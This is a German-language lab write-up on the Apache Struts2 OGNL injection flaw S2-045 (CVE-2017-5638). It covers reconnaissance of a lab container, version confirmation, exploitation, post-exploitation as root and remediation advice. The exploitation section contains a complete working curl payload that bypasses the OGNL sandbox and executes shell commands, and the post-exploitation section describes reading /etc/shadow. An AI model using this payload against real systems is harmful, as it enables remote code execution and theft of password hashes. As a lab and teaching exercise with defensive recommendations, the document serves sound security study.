LAB 1 — Apache Struts2 OGNL Injection (CVE-2017-5638 / S2-045)

I. SYSTEMANALYSE

Angriffsflächenanalyse

Nach dem Starten des Containers zeigen die Struts2-Protokolle, dass die Anwendung bekannte Konfigurationsdateien wie struts-default.xml, struts-plugin.xml und struts.xml lädt. Dies bestätigt, dass das verwendete Framework Apache Struts2 ist.

Ein bemerkenswerter Punkt liegt in der Zeile:

Choosing bean (jakarta) for (org.apache.struts2.dispatcher.multipart.MultiPartRequest)

Diese Zeile zeigt an, dass Struts2 den Jakarta-Multipart-Parser (MultiPart-Request-Datenanalysator) auswählt, um Anfragen vom Typ multipart/form-data zu verarbeiten, die häufig bei Datei-Upload-Funktionen vorkommen.

Dies ist ein entscheidendes Signal bei der Analyse von S2-045 / CVE-2017-5638, da diese Sicherheitslücke mit dem Prozess zusammenhängt, bei dem Struts2 Fehler bei der Verarbeitung von Multipart-Anfragen behandelt, insbesondere bei einem ungültigen Content-Type-Header.

Dieses Protokoll beweist jedoch nur, dass die Anwendung Struts2 und einen Jakarta-Multipart-Handler verwendet. Es ist noch nicht ausreichend, um zu schlussfolgern, dass die Anwendung definitiv verwundbar ist. Zur Bestätigung müssen wir die Version von struts2-core ermitteln und mit dem betroffenen Versionsbereich vergleichen.

Beim Zugriff auf den Webdienst mit curl zeigen die Antwortheader, dass die Anwendung auf Jetty 9.2.11.v20150529 läuft. Diese Information hilft, die Umgebung zu identifizieren, in der die Anwendung läuft (Servlet-Container), gibt aber nicht direkt die Version von Struts2 preis.

Die Weboberfläche gibt die Seite Struts2 Showcase – Fileupload sample zurück, mit einem Upload-Formular, das Folgendes verwendet:

method="POST" enctype="multipart/form-data" action="/upload.action"

Dies stimmt mit dem vorherigen Protokoll überein, in dem Struts2 jakarta für MultiPartRequest ausgewählt hat: Die Anwendung hat tatsächlich einen Datei-Upload-Ablauf über multipart/form-data.

⇒ Überlegung: Der Endpunkt /upload.action verwendet multipart/form-data, was dem Mechanismus entspricht, den Struts2 über Jakarta MultiPartRequest verarbeitet. Dies ist ein Zeichen, das den Verdacht auf S2-045/CVE-2017-5638 erhärtet, aber wir müssen die Struts2-Version ermitteln, bevor wir zu dem Schluss kommen, dass die Anwendung verwundbar ist. Als Nächstes ist eine tiefergehende Überprüfung der Version von struts2-core und der Art und Weise, wie die Anwendung Fehler beim Empfang eines ungültigen Content-Type behandelt, erforderlich.

Bestimmung der Struts2-Version

Nachdem identifiziert wurde, dass die Anwendung einen Upload-Endpunkt mit multipart/form-data besitzt, besteht der nächste Analyseschritt darin, die tatsächliche Version von Struts2 zu finden. Dies ist entscheidend, da vorherige Anzeichen nur zeigten, dass die Anwendung einen Mechanismus im Zusammenhang mit Multipart-Upload besitzt, was noch nicht ausreicht, um zu schlussfolgern, dass sie verwundbar ist.

Nach Identifizierung des korrekten Containers, der Endpoint 8001 bedient, erfolgt die Überprüfung der Bibliotheken direkt im Container project1-lab01-01.

Das Ergebnis findet die Datei struts2-core:

/root/.m2/repository/org/apache/struts/struts2-core/2.3.30/struts2-core-2.3.30.jar

Aus diesem Pfad können wir ersehen, dass die Anwendung Apache Struts2 2.3.30 verwendet.

Ein Vergleich mit der veröffentlichten Sicherheitslücke CVE-2017-5638 / S2-045 zeigt, dass diese viele ältere Struts2-Versionen betrifft, einschließlich des 2.3.x-Zweigs vor dem Patch. In Kombination mit:

Framework: Apache Struts2 Version: 2.3.30 Multipart-Parser: Jakarta Endpunkt: /upload.action Content-Type: multipart/form-data

wird die Analyse-Bedingungskette klarer:

`Struts2 Version 2.3.30 < Version 2.3.32

• Jakarta-Multipart-Parser + Upload-Endpunkt → Die Anwendung liegt im starken Verdachtsbereich von S2-045/CVE-2017-5638`

Aus analytischer Sicht ist eine verwundbare Version jedoch nur ein Beweis für das Potenzial, betroffen zu sein. Zur Bestätigung auf Verhaltensebene müssen wir eine anomale Multipart-Anfrage senden und die Antwort/Protokolle beobachten, um zu sehen, ob sie in den Fehlerbehandlungszweig des Struts2-Multipart-Parsers gelangt.

⇒ Überlegung: An diesem Punkt geht es nicht mehr nur um die Identifizierung des Frameworks; Version 2.3.30 bestätigt, dass die Anwendung im betroffenen Versionsbereich von S2-045/CVE-2017-5638 liegt. Der verbleibende Schritt ist die Überprüfung des Multipart-Fehlerbehandlungsverhaltens, um die Beweiskette zu vervollständigen.

Überprüfung des gültigen Multipart-Verarbeitungsablaufs

Wir müssen prüfen, ob an /upload.action gesendete Anfragen wirklich durch den Struts2-Multipart-Verarbeitungsmechanismus laufen. Hier verwende ich den curl-Befehl mit der Option -F, um den Verarbeitungsmechanismus zu testen. Das zurückgegebene Ergebnis wird in Teile zerlegt:

`

⇒ Eine gültige Anfrage beweist, dass /upload.action tatsächlich den Multipart-Upload-Mechanismus durchläuft, da curl -F multipart/form-data erzeugt und der Server jeden Teil der Anfrage parsen kann.

Überprüfung der Reaktion bei fehlgeschlagener Multipart-Anfrage

Nach dem Senden einer Anfrage, die Content-Type als multipart/form-data deklariert, aber mit einem Body, der nicht der Multipart-Struktur entspricht, gibt der Server dennoch HTTP 200 OK zurück. Allerdings sind die Felder ContentType, FileName, File und Caption alle leer. Bei der Überprüfung der Docker-Protokolle fällt auf, dass es kein Boundary (Trennzeichen zwischen Teilen in Multipart) gibt, und der Client erhält dennoch HTTP 200 OK. Struts2 ist jedoch tatsächlich auf einen Fehler gestoßen während der Verarbeitung der Anfrage.

Dies beweist die Beweiskette:

Fehlerhafte Multipart-Anfrage → Struts2 umschließt die Anfrage → MultiPartRequestWrapper wird aufgerufen → JakartaMultiPartRequest parst die Anfrage → FileUploadException aufgrund fehlenden Boundary

⇒ Passt zu den Komponenten, die für S2-045/CVE-2017-5638 relevant sind. Somit ist die Bedingungskette vollständiger: verwundbare Version, Jakarta-Parser, Upload-Endpunkt und die fehlerhafte Anfrage gelangt in den korrekten Multipart-Verarbeitungszweig.

Der entscheidende Punkt von S2-045/CVE-2017-5638 liegt nicht nur im Versagen des Multipart-Parsers. Der Parser-Fehler ist nur die anfängliche Auslösebedingung. Der gefährliche Teil liegt darin, wie Struts2 anschließend die Fehlermeldung behandelt. Bei betroffenen Struts2-Versionen, wenn der Multipart-Parser auf einen Fehler stößt, kann der Fehlerinhalt in den Nachrichtenverarbeitungsmechanismus von Struts2 eingespeist werden. Wenn ein Angreifer einen Teil der Daten kontrolliert, die im Fehler erscheinen, insbesondere aus dem Content-Type-Header, können diese Daten von Struts2 über OGNL (Object-Graph Navigation Language – die Ausdruckssprache von Struts/XWork) ausgewertet werden.

Überlegung:

Anomaler Content-Type → Jakarta-Multipart-Parser-Parsing-Fehler → Struts2 erzeugt/protokolliert Fehlermeldung → Fehlermeldung durchläuft Ausdrucksauswertungsmechanismus → falls bösartiges OGNL vorhanden, kann dies zu RCE führen

II. AUSNUTZUNG

Nach der Identifizierung, dass das Ziel Struts2 verwendet und Struts2 OGNL als Ausdrucksengine einsetzt, zeigt die Suche bei PayloadsAllTheThings, dass das Injizieren von new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()) in Struts2 fehlschlagen wird, da Struts2 eine Sandbox hat, die den Zugriff auf java.lang.Runtime blockiert.

⇒ Zusammenstellen des gefundenen Payloads in die Struts2-Ausnutzungsstruktur:

Jakarta-Parser auslösen

(#_="multipart/form-data")

Struts2-Sandbox umgehen (erforderlich)

(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))

Befehlsausführungs-Payload

(new java.lang.String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()))

Bei der praktischen Ausführung des Payloads treten jedoch zwei Probleme auf:

1. Java-Versionsfehler: Der Labor-Server läuft mit Jetty 2015 (Java 8), während die readAllBytes()-Funktion erst ab Java 9 unterstützt wird. Wenn wir darauf bestehen, sie zu verwenden, wird OGNL stillschweigend fehlschlagen und eine leere HTML-Seite zurückgeben. Dies wird gelöst, indem die Klasse IOUtils aus der Bibliothek org.apache.commons.io (bei Struts2 immer verfügbar) verwendet wird, um den Stream zu lesen.
2. Ausgabefilterung: Selbst wenn der Befehl ausgeführt wurde, kann die direkte Einbettung des Ergebnisses in den HTML-Stream die Struktur stören oder herausgefiltert werden. Dies wird gelöst, indem direkt auf HttpServletResponse zugegriffen wird, mit getWriter().println() die Ausgabe zuerst ausgegeben wird und dann flush() und close() aufgerufen werden, um die Verbindung sofort zu beenden. Dies zwingt den Server, das saubere Befehlsausführungsergebnis zurückzugeben und dabei die gesamte überflüssige HTML-Oberfläche zu umgehen.

⇒ Durch Zusammenstellen der obigen Änderungen erhalten wir den vollständigen curl-Befehl (unter Verwendung von ProcessBuilder + IOUtils + Response Writer):

curl -i -s -X POST "http://192.168.3.137:8001/doUpload.action" \
-H 'Content-Type: %{(#_="multipart/form-data").(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="id").(#iswin=(@java.lang.System@getProperty("os.name").toLowerCase().contains("win"))).(#cmds=(#iswin?{"cmd.exe","/c",#cmd}:{"/bin/bash","-c",#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().println(#ros)).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().flush()).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().close())}' \
-d "foo=bar"

Exploitation erfolgreich!!!

Obwohl wir RCE mit Root-Rechten erreicht haben, muss jeder Befehl über eine separate HTTP-Anfrage gesendet werden, was eine nicht-interaktive Umgebung darstellt. Ein Reverse Shell ermöglicht die Einrichtung einer persistenten Sitzung, mit der direkt mit dem Zielsystem interagiert werden kann, als ob man vor der Maschine säße, um Informationen zu sammeln und eine tiefergehende Post-Exploitation durchzuführen.

III. POST-EXPLOITATION

Berechtigungsüberprüfung

Nach erfolgreicher Ausnutzung die Berechtigungen auf dem System überprüfen:

uid=0(root) gid=0(root) groups=0(root)

→ Die Anwendung wird mit Root-Rechten ausgeführt – keine Rechteausweitung erforderlich.

Sammeln sensibler Daten

Lesen der Datei /etc/shadow (die Datei, die Passwort-Hashes enthält, auf die nur Root Zugriff hat):

→ Beweist, dass der Angreifer vollständigen Lese-/Schreibzugriff auf die Systemdateien hat, einschließlich der sensibelsten.

Anmerkung zum Reverse Shell

Der Aufbau des Reverse Shells war nicht erfolgreich, da der Docker-Container unter Windows ein internes Netzwerk (Bridge/NAT) verwendet; der Container kann keine Verbindung zurück zum Angreifer-Rechner (Kali) im lokalen LAN herstellen. Dies ändert jedoch nichts an der Schwere der Sicherheitslücke – der Angreifer hat RCE mit Root-Rechten erzielt und kann jeden Befehl auf dem System ausführen.

IV. RISIKOBEWERTUNG & BEHEBUNG

Risikobewertung

Die OGNL-Injection-Sicherheitslücke (CVE-2017-5638 / S2-045) auf diesem System wird auf dem höchsten Risikoniveau bewertet:

Behebungsempfehlungen

Zur vollständigen Behebung dieser Sicherheitslücke sollten das Systemadministrationsteam und das Entwicklungsteam die folgenden Maßnahmen umsetzen (geordnet nach Priorität):

Dringende Prioritäten (kurzfristig):

1. Upgrade von Apache Struts2: Aktualisieren Sie das Framework sofort auf eine sichere Version (≥ 2.3.32 oder ≥ 2.5.10.1). Dies ist eine obligatorische Maßnahme, da die Sicherheitslücke in der Kernimplementierung der JakartaMultiPartRequest-Bibliothek liegt.
2. Herabstufen der Ausführungsberechtigungen: Führen Sie Webanwendungen (Jetty/Tomcat) niemals unter dem root-Benutzer aus. Es sollte ein dedizierter Benutzer (z. B. struts_user) mit den minimal erforderlichen Berechtigungen erstellt werden, um die Anwendung auszuführen.

Hohe Prioritäten (langfristig & verteidigungstief):

3. Bereitstellung einer WAF (Web Application Firewall): Konfigurieren Sie WAF-Regeln, um HTTP-Anfragen zu erkennen und zu blockieren, die OGNL-Payloads (z. B. %{...}, ${...}, ognl, java.lang.ProcessBuilder) im Content-Type-Header enthalten.
4. Multipart-Parser wechseln: Wenn die Anwendung nicht den Jakarta-Parser verwenden muss, erwägen Sie die Umstellung auf eine alternative Bibliothek wie Pell oder COS in der Konfigurationsdatei struts.xml (struts.multipart.parser=cos).
5. Container-Netzwerke einschränken: Belassen Sie den Container nicht ohne Notwendigkeit in einem gemeinsamen Bridge-Netzwerk. Konfigurieren Sie Firewall-Regeln, um den Container daran zu hindern, aktiv ausgehende Verbindungen (Outbound-Traffic) zum Internet aufzubauen, um Reverse Shells zu verhindern.